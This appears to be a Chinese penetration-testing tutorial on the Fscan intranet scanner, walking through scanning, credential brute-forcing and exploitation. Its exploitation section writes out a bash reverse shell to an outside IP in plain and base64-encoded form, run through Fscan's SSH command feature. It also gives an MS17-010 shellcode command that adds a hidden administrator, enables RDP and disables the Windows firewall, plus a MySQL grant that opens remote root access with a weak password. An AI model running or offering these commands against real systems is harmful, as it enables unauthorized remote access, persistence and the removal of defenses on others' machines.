【Fscan】内网扫描器Fscan的使用

Drlsmile2023-12-28文章来源:SecHub网络安全社区


Fscan

1、简介

  • 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
  • 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

2、主要功能

1.信息搜集:

  • 存活探测(icmp)
  • 端口扫描

2.爆破功能:

  • 各类服务爆破(ssh、smb、rdp等)
  • 数据库密码爆破(mysql、mssql、redis、psql、oracle等)

3.系统信息、漏洞扫描:

  • netbios探测、域控识别
  • 获取目标网卡信息
  • 高危漏洞扫描(ms17010等)

4.Web探测功能:

  • webtitle探测
  • web指纹识别(常见cms、oa框架等)
  • web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

  • redis写公钥或写计划任务
  • ssh命令执行
  • ms17017利用(植入shellcode),如添加用户等

6.其他功能:

  • 文件保存

3、使用方法

完整参数

 -c string			#ssh命令执行
  -cookie string	#设置cookie
  -debug int 		#多久没响应,就打印当前进度(default 60)
  -domain string    #smb爆破模块时,设置域名
  -h string        	#目标ip: 192.168.11.11 | 192.168.11.11-255 |192.168.11.11,192.168.11.12
  -hf string        #读取文件中的目标
  -hn string        #扫描时,要跳过的ip: -hn 192.168.1.1/24
  -m string       	#设置扫描模式: -m ssh (default "all")
  -no        		#扫描结果不保存到文件中
  -nobr        		#跳过sql、ftp、ssh等的密码爆破
  -nopoc      		#跳过web poc扫描
  -np        		#跳过存活探测
  -num int       	#web poc 发包速率  (default 20)
  -o string        	#扫描结果保存到哪 (default "result.txt")
  -p string        	#设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
  -pa string        #新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
  -path string      #fcgi、smb romote file path
  -ping        		#使用ping代替icmp进行存活探测
  -pn string        #扫描时要跳过的端口,as: -pn 445
  -pocname string   #指定web poc的模糊名字, -pocname weblogic
  -proxy string     #设置代理, -proxy http://127.0.0.1:8080
  -user string      #指定爆破时的用户名
  -userf string     #指定爆破时的用户名文件
  -pwd string       #指定爆破时的密码
  -pwdf string      # 指定爆破时的密码文件
  -rf string      	#指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
  -rs string       	#redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
  -silent        	#静默扫描,适合cs扫描时不回显
  -sshkey string    #ssh连接时,指定ssh私钥
  -t int        	#扫描线程 (default 600)
  -time int        	#端口扫描超时时间 (default 3)
  -u string        	#指定Url扫描
  -uf string        #指定Url文件扫描
  -wt int        	#web访问超时时间 (default 5)
  -pocpath string	#指定poc路径
  -usera string 	#在原有用户字典基础上,新增新用户
  -pwda string		#在原有密码字典基础上,增加新密码
  -socks5 			#指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
  -sc 				#指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)

简单使用

fscan.exe -h [IP] #默认使用全部模块
fscan.exe -h 192.168.1.1/16 #扫描B段
fscan.exe -h 192.168.x.x -h 192.168.1.1/24 //C段
fscan.exe -h 192.168.x.x -h 192.168.1.1/16 //B段
fscan.exe -h 192.168.x.x -h 192.168.1.1/8  //A段的192.x.x.1和192.x.x.254,方便快速查看网段信息

加上netbios模块才会显示netbios的信息

 .\fscan64.exe -h 192.168.88.141 -m netbios

扫描后生成结果文件

扫描过后会生成一个result.txt的文件,扫描的详细情况都会保存在这个文件中。

若要更换扫描生成的文件的位置和文件名:

.\fscan.exe -h [目标IP] -o .\tmp\1.txt 	#默认保存在当前目录下

若想不把扫描结果保存到文件中只需要加上-no参数:

.\fscan.exe -h [目标IP] -no #-no参数要添加在IP的后面才能生效

以文件进行导入扫描

.\fscan64.exe -hf D:\LCstudy\内网渗透工具\fscan\ip.txt
.\fscan64.exe -hf .\ip.txt
#可以使用相对位置,也可以使用绝对位置

跳过相应IP进行扫描

.\fscan64.exe -h 192.168.88.1/24

未跳过IP扫描前

跳过扫描后

对url进行扫描

.\fscan64.exe -u http://baidu.com
# -uf 对指定文件内的URL进行扫描

设置代理扫描

.\fscan64.exe -h 192.168.88.1/24  -proxy http://127.0.0.1:8080

设置socke5代理

爆破使用

简单使用的话直接 .\fscan64.exe -h 192.168.88.130 它会自动爆破扫描出来的服务

对模块进行自定义文件爆破
.\fscan64.exe -h [IP] -m [模块] -p [模块对应的端口] -pwdf [密码文件] -userf [用户名文件]

-m的模块包含:

  • [mssql] [ms17010] [all] [portscan] [ftp] [smb] [netbios] [oracle] [redis]
  • [fcgi] [mem] [web] [ssh] [findnet] [icmp] [main] [rdp] [mgo] [cve20200796]
  • [webonly] [mysql] [psql]

对ssh模块进行爆破,并设置自定义文件爆破:

.\fscan64.exe -h 192.168.88.130 -m ssh -p 22 -pwdf .\pwd.txt -userf .\users.txt

-pwdf 、-userf 同样也是相对位置和绝对位置都可以使用。

注:在进行爆破的时候是按文件里面的顺序进行爆破的,这时ssh包含多个用户,只能爆破出来第一个,要把root类的管理权限高的用户名放在文本得最上面。

附加一个扫mysql服务的:

 .\fscan64.exe -h 192.168.88.143 -m mysql -np -nopoc

这里-np、-nopoc下面会介绍到。

使用navicat连接成功。

连接的前提:你目标机要开启远程连接,

mysql开启远程连接:

grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;		#开启一个远程连接用户为root任意IP可以连接,密码时123456
flush privileges;	#刷新用户权限
select user,host from user;		#查看用户检查是否已经更改
跳过一些扫描进行爆破
-nobr 		#跳过sql、ftp、ssh等爆破
-nopoc 		#跳过web poc扫描
-np 		#跳过存活检测

执行命令

.\fscan64.exe -h 192.168.88.143 -m mysql -np -nopoc

这里就是跳过存活检测,和跳过web,poc检测的扫描对mysql进行爆破

跳过爆破:

.\fscan64.exe -h 192.168.88.143 -m mysql -nobr

这里就没有mysql的服务的爆破的用户和密码

爆破还可以结合代理 -proxy string参数,

漏洞利用

使用ssh命令执行
.\fscan64.exe -h [目标IP] -c [执行的命令]

例如:

查看用户:

 .\fscan64.exe -h 192.168.88.130 -c whoami 

ssh命令执行上线Necat

执行的命令:

bash -i >& /dev/tcp/192.168.0.120/5555 0>&1

编码后执行的命令(因为在powershell中执行的命令不能包含&&和&):

.\fscan64.exe -h 192.168.88.130  -c "bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTIwLzU1NTUgMD4mMQo=}|{base64,-d}|{bash,-i}'"

注:若命令有变只需要将变化后执行的命令进行base64编码后,对上述编码后执行的命令中的base64编码进行替换即可。

MS17-010模块利用

添加用户:

.\fscan64.exe -h 192.168.88.141 -m ms17010 -sc add

执行此命令后会生成一个用户,用户名:sysadmin 密码:1qaz@WSX!@#4

源码add的含义(若想看此文件详细源码https://github.com/shadow1ng/fscan/blob/main/Plugins/ms17010-exp.go):

//msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off'

启用guest用户,并把guest用户添加到管理员组(没成功)

.\fscan64.exe -h 192.168.88.141 -m ms17010 -sc guest
#启用后用户是guest 密码:1qaz@WSX!@#4